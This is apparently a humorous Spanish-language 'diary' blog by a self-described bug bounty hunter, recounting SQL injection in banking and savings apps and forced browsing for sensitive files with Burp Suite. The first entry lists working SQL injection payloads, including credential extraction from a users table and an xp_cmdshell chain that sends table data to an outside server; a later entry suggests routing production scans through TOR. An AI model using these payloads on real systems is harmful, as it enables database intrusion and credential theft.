Sábado, 7 de Octubre de 2017: vacaciones forza… todas pagadas.

Querido diario…

Te escribo desde un aeropuerto, ¿dónde?, no te lo puedo decir; ¿esperando que vuelo?, es algo que tampoco te puedo decir.

Bueno… ser buena persona no es precisamente mi mejor talento…

A veces uno no puede resistir las ganas de meter una comilla por todos lados, suena muy guarro, pero es como cuando tienes 15 años y de pronto cuando se apagan las luces dices “¡ay!… se me fue”… bueno, pues así es cuando uno anda usando aplicaciones, de pronto uno quiere comprar calzoncillos y zas “se me fue una comilla” 😛

Bueno, seguramente también recordarán que recibieron una cachetada y probablemente llegó el papá de la ente feminoide con una escopeta… bueno, pues aquí llegaron unos policías, con un juez y me dieron unos tehuacanazos con pocito.

Y es que.. querido diario.. psss… sé qué suena complejo de creer, pero mira.. yo pues nada más le puse una comilla a un nombre, ¿yo cómo iba a saber que eso iba a estar dentro de una variable?, pues si, estaba dentro de una variable, y que un programador no validó bien la variable y entonces cuando yo intentaba sacar mi dinero pues… no podía. ¿Acaso tú no intentarías sacar tu dinero aunque no te deje la aplicación?.

Bueno… no sé, de pronto la comilla se convirtió en un ‘1 or 1=1– y cuando menos me di cuenta, pues…

'>">
' " ) # || + >
%09select 
tab%09
carriage return%13
linefeed%10
space%32
and
or
update
insert
exec
' waitfor delay '0:0:10'--

¿Qué?, ¿tú no usas ese tipo de nombres en tus cuentas bancarias?… pero si son de lo más comunes. De hecho conozco otros…

' group by [columneishons] having 1=1 - -
' union select 1,1,'cosa',1,1,1 - -
' union select 1,1, 99999999999999999,1,1,1 - -
' and 1 in (select 'cosa' ) - -
' and where cosa='cosa' and '1'='1
'; if where cosa='cosa' waitfor delay '0:0:5' --
'; union select if( where cosa='cosa' , benchmark (100000, sha1('cosa')), 'false' ),1,1,1,1;

… y pues bueno, allí estaba yo, metiendo nombres y más nombres a mis cuentas bancarias… y de pronto como que me di cuenta de que la aplicación me arrojaba algo como que users table, cosas tables y pues no sé, quería ver que tables eran esas tables.

SELECT cosa FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tabla')
sp_columns tablename

Luego de la tabla, te das cuenta que hay otras bases de datos…

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

Y entonces dices “ahhh pues de aquí soy”, y quieres ver si puedes sacar unos usuarios y contraseñas

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --

Pero no, no corrí con tanta suerte… ese tipo de errores ya no se dan tan fácil, lo que eso si…

'; create table AttackerTable (data cosa) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW')
'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvendetta -..quesadilla!!' --

Y lo sé.. me pasé.. acto seguido.. estoy aquí, arriba de un avión. Tal vez es un buen momento para escribir algo como:

Toda la información contenida en este diario es ficticia y mero entretenimiento, y/o para fines educativos. El autor no se hace responsable de actos delictivos del mal uso de esta información.

Querido diario… ¿sabías que Timbuktú de verdad existe?.

Viernes, 6 de Octubre de 2017: Ahorro obligatorio

Querido diario…

Yo soy pésimo ahorrando, no sé si sabrás pero desde que tengo recuerdo mis finanzas han sido muuuuuy malas; los bancos no me tienen mucho aprecio que digamos, y ahora que milagrosamente los planetas se han alineado y me ha estado yendo bien económicamente he probado diferentes formas de ahorro e inversión.

Una de las que recientemente he probado se llama Piggo, que es un fondo de inversión “cool”. Su idea es simplificar la inversión y hacerla entendible a un riesgo relativamente bajo. La aplicación a mi me parece malísima, esta pensada a ser completamente móvil, y cuando uno entra a una aplicación web espera tener más opciones que en la móvil, pero aquí es lo contrario. Otra de las ideas de Piggo es que ahorras para objetivos mundanos, en vez de pensar como inversor en cuando es tu margen de ganancia y demás, acá simplemente defines un objetivo “Comprar una casa”, defines tu ahorro inicial “$1000” y luego programas una domiciliazación periódica quincenal o mensual para cumplir la meta, entonces cada que recibas tu sueldo (usualmente en México quincenalmente) puedes programar un cargo automático, para como dicen por allí “si no lo tengo, no me lo gasto”.

La otra opción de Piggo es que defines tu nivel de riesgo… no explicaré mucho eso porque psss es cosa de inversiones, pero el punto es que la aplicación en automático te genera perdidas o ganancias hasta que llegas a tu objetivo, en ese momento deja de hacer los cobros y te congela tu dinero para que puedas retirarlo a tu cuenta bancaria o a la caja chica de Piggo para definir otro objetivo de ahorro. De hecho la clave de todo es que jamás maneja el término inversión, sino todo es ahorro.

Pues bueno… como yo apenas estaba probado si funcionaba o no, la descargué, me registré y al hacerlo te pide crear el primer objetivo de ahorro, como no tenía idea pensé en ponerle “Dinero para calzoncillos nuevos” pero luego dije “nah, que tal si un día tengo que pedir soporte y lee quién me atienda que mis calzoncillos están viejos, entonces le puse “Sexo, drogas & rock ‘n roll”… programé la meta de ahorro, hice mi ahorro inicial, puse el nivel de riesgo, y listo.

Como no fue mucho le puse el 100% del capital a un nivel de riesgo altísimo y un retiro sólo para probar como funcionaba la domiciliazación de ahorros. Todo iba bien, ayer gané bastante y llegué a mi objetivo en dos días. Todo era felicidad, dije “¡ots!, peroooooo.. hoy intenté sacar el dinero para ir a comprar mis calzoncillos nuevos y:

¿Qué pajoooooo?.. pues que la comilla está rompiendo la query. Y ahora mi dinero está encerrado.

Y ahora querido diario… entenderas que es un poco complicado marcar a un call center y decirle a quién te atiende “oye.. ¿sabes?, le encontré un SQL Injection a tu aplicación.. y de pasó deje mi dinero congelado, ¿me puedes ayudar?”.

Después de como dos horas en las que pasé de operador a operador y no entendían como ayudarme porque jamás les había pasado que a alguien se le ocurría poner esa comilla. Me dijeron “no entendemos, pero haremos la transferencia manual el lunes”.

Querido diario… últimamente me pasa que tengo dinero, pero por causas como que no aceptan tarjeta, PayPal, ApplePay o porque básicamente fui bendecido con un talento increible por los dioses para encontrar vulnerabilidades de una forma mágica hasta cuando intento no hacerlo; no tengo dinero.

¡Hey.. no intentes explotar el SQL injection!, es autenticado y en México son mínimo 6 años como delito federal 😉

Sábado, 30 de Septiembre de 2017: Como quedarte sin comer teniendo dinero

Querido diario… tengo hambre, me gruñe la panza, me duele la cabeza; creo que me voy a desmayar.

Hoy desperté y dije “¡Ahhhhh! Santo Chucho Cristo Redentor; hoy va a ser un día muuuuuy productivo para mi, voy a cambiar el mundo, voy a hacer ejercicio, voy a cocinar comida saludable, voy a buscar un empleo decente… ah.. si, hoy es un nuevo día, lleno de esperanzas y expectativas.. ala, mira…. que hasta el horóscopo dice que hoy es un día de cambio”; y pues si, todo iba bien hasta que:

Y bueno… la buena noticia es que; mi amiga Kar… bueno esto es un diario de un bug bounty hunter ilegal hay que proteger la identidad de las personas,… mi amiga Cinthya consiguió su jersey de Club de Cuervos, también la buena noticia es que mientras tooooodos estaban trabajando, aburridos es sus trabajos, pues yo… creo que fui el primero de todas las personas que conozco en ver la nueva temporada de Club de Cuervos completa; la mala noticia es que no trabajé, pero la peor de las peores noticias es que ¡no comí!.

¿Y por qué no comí?, bueno… pues primero me pasé toda la mañana viendo la serie, de pronto empezó a hacer hambre y dije “ahhhh… pues creo que es tiempo de comer”, pero el día de ayer me di cuenta que este mes debo como $8, 000 de tarjeta de crédito, ¡sólo de taxis! (vivo en un sitio en donde es imposible salir a donde sea si no es en taxi), más todo lo demás. Así que no podía usar mi tarjeta para pedir comida, vi mi cuenta de PayPal y ouuu.. tenía mágicos $0, y luego vi y ya eran las 3:09pm, lo cual en tiempo real es las 5:09pm, ósea.. ya no alcanzaba a hacer una transferencia para poder comprar alimento.

¡Diablos!, ¿cómo podía conseguir para pedir algo de comer?…. hum… ¿sería que los dioses bendecirían mis santas manos para encontrar una vulnerabilidad en algún bug bounty y poder tener dinero en mi cuenta de PayPal para pedir comida?.

Empecé a ver el listado de los diferentes bug bounties disponibles, la mayoría habían sido lanzados entre lunes a martes, así que encontrar una vulnerabilidad sencilla y rápida iba a ser complicado.

Mucha gente puede que haya leído la metodología de Jhaddix, bueno… si, funciona, tiene coherencia, y el básicamente te dice como cubrir la mayor parte de las vulnerabilidades de una aplicación web en un par de horas.. “mayoría”, porque yo creo que las vulnerabilidades más complejas de explotar que tienen que ver con la lógica de la aplicación, que generan más impacto y por ende más dinero, no las vas a encontrar; pero el puntoooo es que a partir de que publicó su metodología puedes ver a un montón de bug bounty hunters buscando los famosos “juicy bugs” como desesperados para llevarse sus $50 a $100 dlls… ¿esta mal?, obvio no… los bug bounty hunters somos la basura de la seguridad, ya hemos caído muy bajo al dedicarnos a esto, ponernos pikys por como buscas tus fallos sería un poco tonto.

En fin, la verdad es que $50 dlls eran más que suficientes para comer, pero… hum… bueno, no perdía nada con intentar un “juicy bug”, además cuando yo revisó una aplicación, no importa que el bounty ya llevé tiempo de liberado; siendo que algún día fui un consultor en seguridad informática respetable sigo todos los pasos de mi metodología y hago revisiones exhaustivas. Así que siempre empiezo lanzando algunos scripts, scanners y listas precargadas para encontrar fallos.

Una de las listas que ejecutó es para la búsqueda de archivos sensibles, por allí en ingles encontrarán esto como “information leak”, aunque incluso podría entrar como en configuration management, debido a que es el sysadmin el que debió de haberse asegurado que el entorno donde ejecuta la aplicación esta limpio… bueno, ¿qué que quiere decir todo esto?, pues nada más que encontramos un archivo que no debía de estar allí.

Hay varios tipos de archivos “sensibles” y no tan sensibles que te puedes encontrar, como por ejemplo un index.jsp que alguien haya cambiado de nombre por un index.jsp_, index.jsp.bk, index.jsp.old, etc… tú me entiendes, ¿no?; algunos de prueba como test.aspx, algunos index.html viejos, confs.php, archivos de properties, o algo así. La verdad es que son un montón de tipos, además no hay que olvidar directorios sensibles, paths comunes como un /admin/, /private/, etc, etc, etc, etc…

Yo lo que hago es que por allí… la verdad no recuerdo donde, descargue ya unas listas que incluyen un montón de listas de posibles archivos sensibles, paths comunes, archivos de configuración que varios manejadores de versiones o herramientas de QA y deployment van dejando; y lo que hago es que utilizó eso para buscarlas. Ahora, yo lo hago usando Burp Suite, perooooo, hay herramientas que dentro de sus pruebas hacen esto. Por ejemplo Nikto o Wikto, yo siempre pensando que es una herramienta muy chafa, como que nada más toma esas listas de búsqueda, y la GHDB y ¡zas! manda requests y por banner trata de identificar vunerabilidades, o por código de error… la verdad no me gusta, y si hay detrás un IPS o un WAF, olvídate, te van a cachar.. incluso algunas veces ni acaba si estas en un entorno Cloud, el balanceador te va a ir limitando las requests. Por otra parte también los escáners de aplicaciones hacen esto mismo, con listas internas… Acunetix es muy común que encuentre estos archivos; peroo.. hum.. aunque lo puedas encontrar con un escáner, de todas formas para un bug bounty vas a tener que mostrar la request manual; y la otra es que yo configuró muy tranquilos los escáners, porque casi todos los bounties están en la nube y también genera mucho ruido su uso; además de que muchos bounties como los de Bugcrowd y HackerOne están en producción… así que seguro tienes algo allí antes de la aplicación que te va a parar.

Lo que yo hago es cargar mis listas en Burp Suite.. tiene dos objetivos, uno de ellos es que es una validación “manual”, que en caso de encontrar algo lo que hago es poner como evidencia una screenshot del response donde se vea el contenido del juicy file; y la otra es que no siempre te tienes que fijar en los error codes, ósea si un 200 es un OK, y un 404 es un file not found, peroooo… en estos tiempos de los frameworks fancy para front end, te vas a encontrar muchos 3xx con redirects o 200 pero que en realidad regresan JSON’s con 1’s, o’s, trues, falses o vacíos; que a pesar de eso puedes seguir identificando por el tamaño del response.

Lo sé, lo sé.. más de un pentester acaba de suicidarse al leerme en este momento.. pero muchachos, ustedes sigan usando Hugo Boss y viviendo en ciudades llenas de tecnología, yo no puedo sentarme con un cliente a perdirle que me levante un ambiente de testing o de stage; yo encuentro fallos como sea y en donde sea, porque sino, no como; y en donde vivo no hay nada de tecnología.

La verdad que hacer esto es sencillísimo… abres tu navegador, configuras el proxy y hacer una petición a la aplicación o al path específico que quieres analizar; teóricamente si, debieses de analizar todos los paths que te encuentres en tu spydering.

Click derecho y mandas tu request al Intruder, agregas un comodín al final del path…

Y en Payloads cargas la lista de tus más common files… (ya te dije, no se de donde saque la mía, pero… bueno, si te interesa, luego te la pasó).

Aquí las demás opciones no importan, así que le das con un one shot y si quieres puedes jugar un poco con los time outs o los threads, pero en general si estas en testing o stage, pues no importa; si estas en productivo sal por TOR o ProxyChains y ya.

Bueno… que al final la cosa es que encontré un info.php.. ¿por qué razón los infophp() siempre se llaman info.php?… no entiendo, podrían llamarse como fuesen, pero siempre se llaman así. Un “juicy file” muy poco juicy.. pero lo reporté, no me tardé ni 5 minutos, y me pagaron $150 dlls; al parecer ese bounty llevaba una semana y nadie lo había reportado aun.. si, el gran Quetzatcoatl estaba de mi lado. Al fin tenía dinero. Marqué a Pizza Ring y dije.. bueno, voy a pedir la pizza de cheetos, que si no me voy a morir de la curiosidad. Transferí los $150 dlls a mi PayPal y justo en eso me llegó un correo.

Era tan simple el bug que me pidieron hacer el path verification cuanto antes. Sólo mandé un replay del request donde apareció el info.php y me pagaron $75 dlls extra.. bien, tenía $225 dlls para comer. Así que marqué de nuevo a Pizza Ring y pedí un ponche.

40 minutos después llegó el repartidor.. salí en pijama y pantuflas; y mis únicos $10 en efectivo. Le dije que no tenía dinero, que me acercase su lector de Apple Pay… “¿mi qué?”… esa fue su respuesta. Fue raro… viví dos años en un pueblo, lejos de la tecnología y las comodidades usuales de la civilización, ahora vivo en una ciudad, pero es una ciudad rara.. donde no usan tarjetas de crédito. ¡En serio!, no tarjeta, no PayPal, no Samsung Pay, no Apple Pay, no Google Pay, no Pay, Pay… dinero, en efectivo, como los cavernícolas cuando negociaban los ribeyes de triceratops con el T-Rex. Tenía $225 dlls en mi PayPal, tenía una pizza frente a mi y el pizzero se la iba a llevar porque quería un billete.

¿Es en seriooooo? </acento_cachanillo>

Y después de rogarle que me fiase la pizza, porque de todas formas nadie estaba tan menso como para pedir una pizza de cheetos, se iba a hacer dura y la tendrían que tirar, se llevó mi pizza. Son las 23:17, mi estomago gruñe, gané los $225 dlls más fáciles de mi vida, y no tengo como comprar comida. Después de todo, Quetzatcoatl no me bendijo tanto.

¡Oh!, por cierto querido diario… cada vez voy a escribir más poético en ti, porque tomé un taller de cuento mexicano en el CEART.

Pero no entendí mucho la verdad, pero no importa, porque cuando Belinda sea presidenta todo va a cambiar; llegará la tecnología a Mexicali y habrá montones de empresas de seguridad informática que busquen desesperadamente ex consultores como shoooo…

¡Diablos! D: si tengo hambre…